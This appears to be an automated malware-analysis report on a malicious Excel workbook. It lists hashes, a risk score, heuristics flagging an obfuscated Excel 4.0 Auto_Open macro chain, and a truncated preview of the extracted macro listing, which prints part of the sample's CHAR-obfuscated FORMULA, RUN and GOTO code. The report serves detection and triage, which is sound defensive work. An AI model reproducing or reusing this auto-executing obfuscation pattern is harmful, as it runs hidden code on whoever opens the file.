Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eabf3b0713a3007c…

MALICIOUS

Office (OLE)

231.0 KB Created: 2020-05-15 06:55:13 Authoring application: Microsoft Excel First seen: 2020-09-07
MD5: ef922436651e3a1e5e1bbd7b408021ac SHA-1: a43af06f49d75da4d9d28f7cd6de7681f8f53157 SHA-256: eabf3b0713a3007cb2c83a83d993031f0e1d6d6f8a2837cd8ef0db15fc6ad5cd
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains obfuscated Excel 4.0 macros, including an Auto_Open entry, which is a common technique for executing malicious code upon opening the document. The macros are heavily obfuscated using character functions, making it difficult to determine the exact payload without further dynamic analysis. The presence of an Auto_Open entry and obfuscated macro execution chain strongly suggests an attempt to run arbitrary code.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Obfuscated XLM Auto_Open execution chain critical OLE_XLM_OBFUSCATED_AUTOEXEC_CHAIN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and an obfuscated formula execution chain. The macro builds strings through FORMULA(CHAR(...)), primes state with SET.VALUE / GET.CELL / GOTO, and transfers control through RUN(). This is a high-confidence XLM malware pattern.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 128824 bytes
SHA-256: 24c7c9b7467857c1280a239388b66cc01ae8c71d50fa6d2cc9d63038488baf89
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!BZ17717 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,EY6,"",104.00000000000000000000
'  Sheet,BF21,"",8.66463414634146289472
'  Sheet,IT59,"",-0.46376811594202899114
'  Sheet,EI109,"",-0.10271903323262840391
'  Sheet,IB139,"",251.00000000000000000000
'  Sheet,DK141,"FORMULA(CHAR(BC53492/M264)&CHAR(EL22454+JO20572)&CHAR(IY54458+GN35747)&CHAR(JG26652+IJ19620)&CHAR(DW17262+HY2007)&CHAR(W41416/GB39955)&CHAR(BC53492/HR54540)&CHAR(W41416/W34239)&CHAR(JG26652-G16498)&CHAR(J18808-DA9146)&CHAR(BZ20803/BT22755)&CHAR(DW17262/HY22703)&CHAR(W41416*CC55909)&CHAR(JG26652+DV65378)&CHAR(BZ20803/FQ35530)&CHAR(BC53492/EX64827)&CHAR(IY54458*FV7822)&CHAR(EL22454-FJ38393)&CHAR(EL22454*ES60638)&CHAR(EL22454+P43304)&CHAR(EL22454-DZ55070)&CHAR(IY54458/JI40968)&CHAR(BZ20803-GS959)&CHAR(EL22454*HK62388)&CHAR(DW17262*IE51449)&CHAR(IY54458+JP29774)&CHAR(J18808/CO13661)&CHAR(J18808*F10850)&CHAR(ED25219+HM46680)&CHAR(BZ20803+ED31854)&CHAR(IY54458/BX15663)&CHAR(W41416-BO19848)&CHAR(EL22454+IZ21119)&CHAR(BZ20803-JO26792)&CHAR(FH29996-BQ25102)&CHAR(FH29996-HW33233)&CHAR(ED25219+EQ35827)&CHAR(J18808*EL28968)&CHAR(ED25219*GQ27645)&CHAR(IY54458/IY42122)&CHAR(W41416+FE2697)&CHAR(JG26652+GZ43774)&CHAR(J18808*ES16298)&CHAR(BZ20803*BH26924)&CHAR(BC53492-HV58648)&CHAR(JG26652/HR46510)&CHAR(FH29996+CA57488)&CHAR(EL22454*JF60131)&CHAR(EL22454-HV54288)&CHAR(ED25219/IQ23119)&CHAR(DW17262+GR39152)&CHAR(BC53492*DP28221)&CHAR(DW17262*HA36277)&CHAR(DW17262/CN17837)&CHAR(IY54458/BI2399)&CHAR(IY54458+FJ28696)&CHAR(BZ20803*GZ33545)&CHAR(FH29996*HN34916)&CHAR(ED25219-BF15085)&CHAR(J18808/IG20512)&CHAR(EL22454+IU54007)&CHAR(BZ20803-HZ12766)&CHAR(DW17262*EO3875),DK142)",""
'  Sheet,DK143,RUN(JB3182),""
'  Sheet,BM171,"",141.00000000000000000000
'  Sheet,HZ187,"",-2.00000000000000000000
'  Sheet,FG207,"",424.00000000000000000000
'  Sheet,M264,"",-1.67827868852459016757
'  Sheet,HI286,"FORMULA(CHAR(JG26652-GC3727)&CHAR(BC53492-FW59802)&CHAR(EL22454-JB37463)&CHAR(JG26652+IE63277)&CHAR(IY54458*EV36352)&CHAR(W41416+JI6574)&CHAR(EL22454+FG32078)&CHAR(BC53492/HG58044)&CHAR(ED25219+EO6075)&CHAR(J18808/IB29140)&CHAR(FH29996+EC17284)&CHAR(FH29996/ER36394)&CHAR(BZ20803+EJ34034)&CHAR(JG26652*FQ35426)&CHAR(IY54458*IY21946)&CHAR(JG26652/HB59540)&CHAR(JG26652+CT44470)&CHAR(BC53492/DB11354)&CHAR(JG26652+BR12633)&CHAR(FH29996*IB16217)&CHAR(W41416-BG26689)&CHAR(BC53492+GW30007)&CHAR(DW17262-JU36842)&CHAR(BC53492+FS34119)&CHAR(J18808+JH42897)&CHAR(EL22454-FK48095),HI287)",""
'  Sheet,HI288,GOTO(FX42783),""
'  Sheet,HD312,"",78.00000000000000000000
'  Sheet,IA315,"",-145.00000000000000000000
'  Sheet,C324,"",-23.40000000000000568434
'  Sheet,N344,"",292.30015624999998635758
'  Sheet,CD356,"",96.00000000000000000000
'  Sheet,FA360,"",-0.49456521739130432369
'  Sheet,GI384,"",36.00000000000000000000
'  Sheet,IO411,"",-0.02769857433808553884
'  Sheet,EQ472,"",-342.30031250000001818989
'  Sheet,CG533,"",-1296.50000000000000000000
'  Sheet,GK573,"",0.32934553131597466002
'  Sheet,GK587,"",-46.00000000000000000000
'  Sheet,CB617,"",-10.01379310344827544554
'  Sheet,CL626,"",141.00000000000000000000
'  Sheet,HG643,"",2.26785714285714279370
'  Sheet,GI668,"",287.00000000000000000000
'  Sheet,N701,"",-1.17777777777777781232
'  Sheet,IS766,"",283.00000000000000000000
'  Sheet,CC807,"",-92.00000000000000000000
'  Sheet,CJ872,"",-137.00000000000000000000
'  Sheet,EO876,"",7.43181818181818165669
'  Sheet,DX885,"",-3.34375000000000000000
'  Sheet,HF896,"",2.94594594594594605397
'  Sheet,IT920,"",232.00000000000000000000
'  Sheet,ED938,"",136.00000000000000000000
'  Sheet,GS959,"",21.59999999999999431566
'  Sheet,FV975,"",8.17500000000000071054
'  Sheet,EY976,"",1.42727272
... (truncated)